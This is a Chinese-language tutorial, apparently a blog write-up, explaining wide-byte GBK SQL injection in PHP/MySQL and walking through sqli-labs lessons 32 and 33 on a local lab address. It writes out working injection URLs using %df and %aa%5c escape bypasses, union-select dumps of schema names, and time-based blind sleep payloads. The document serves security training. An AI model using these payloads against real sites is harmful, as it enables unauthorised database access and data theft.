宽字节注入
宽字节
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节，实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象，即将两个ascii字符误认为是一个宽字节字符
宽字节注入原理：
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK，函数执行添加的是ASCII编码（添加的符号为“”），MYSQL默认字符集是GBK等宽字节字符集。
在使用PHP连接MySQL的时候，当设置“set character_set_client = gbk”时会导致一个编码转换的问题，当存在宽字节注入的时候，注入参数里带入％ DF％27，即可把（％5C）吃掉。
我们这里的宽字节注入是利用的MySQL的一个特性，MySQL的在使用GBK编码的时候，会认为两个字符是一个汉字（前一个ASCII码要大于128，才到汉字的范围）。这就是MySQL的的特性，因为GBK是多字节编码，他认为两个字节代表一个汉字，所以％DF和后面的也就是％5c中变成了一个汉字“运”，而“逃逸了出来
原文链接：https://blog.csdn.net/heiseweiye/article/details/82723478
宽字节注入原理即是利用编码转换，将服务器端强制添加的本来用于转义的符号吃掉，从而能使攻击者输入的引号起到闭合作用，以至于可以进行SQL注入。
原文链接：https://blog.csdn.net/helloc0de/article/details/76180190
推荐解码网站：http://www.mytju.com/classcode/tools/urldecode_gb2312.asp
Less32: 所有的'单引号，都被转义
'单引号替换为构造宽字节 %df'
在phpstudy环境下做
方法一：
http://192.168.27.156/sqli-labs/Less-32/?id=1'
显示正常，看下图我们知道，单引号已经被转义了
按照宽字节注入的知识
http://192.168.27.156/sqli-labs/Less-32/?id=1%df' 出现报错 %df’ 或者 %df%27
或者用下面这个 http://192.168.27.156/sqli-labs/Less-32/?id=1%df%27
http://192.168.27.156/sqli-labs/Less-32/?id=1%df'--+ 返回正常
http://192.168.27.156/sqli-labs/Less-32/?id=1%df' order by 4--+
接下来就是正常的跟第1关一致 （下面我就演示了一个）
http://192.168.27.156/sqli-labs/Less-32/?id=1%df' union select 1,2,group_concat(schema_name)from information_schema.schemata--+
方法二：
%5c代表 只要是我们能将返回的结果中对于单引号没有转义字符进行处理即可
就是将字母组合让他形成一个宽字节 %aa%5c (这个aa是可以变的)
http://192.168.27.156/sqli-labs/Less-32/?id=-1%aa%5c' union select 1,2,3 --+ 找到回显位置
下面的跟第1关一致
Less33:绕过方法：吃掉转义字符或转义
方法1： 直接使用宽字节的方法
http://192.168.27.156/sqli-labs/Less-33/?id=1%df' --+
http://192.168.27.156/sqli-labs/Less-33/?id=-1%df' order by 4--+
剩下操作与第一关一致
也可以采用时间盲注进行操作
If(length(database())>1,1,sleep(5)
If(left(database(),1)>’a’,1,sleep(5))
If(left((select schema_name from information_schema.schemata limit 0,1),1)>’a’,1,sleep(5))
方法2：自定义闭合
http://192.168.27.156/sqli-labs/Less-33/?id=-1 %aa%5c%27 union select 1,2,3--+
其他与前面一致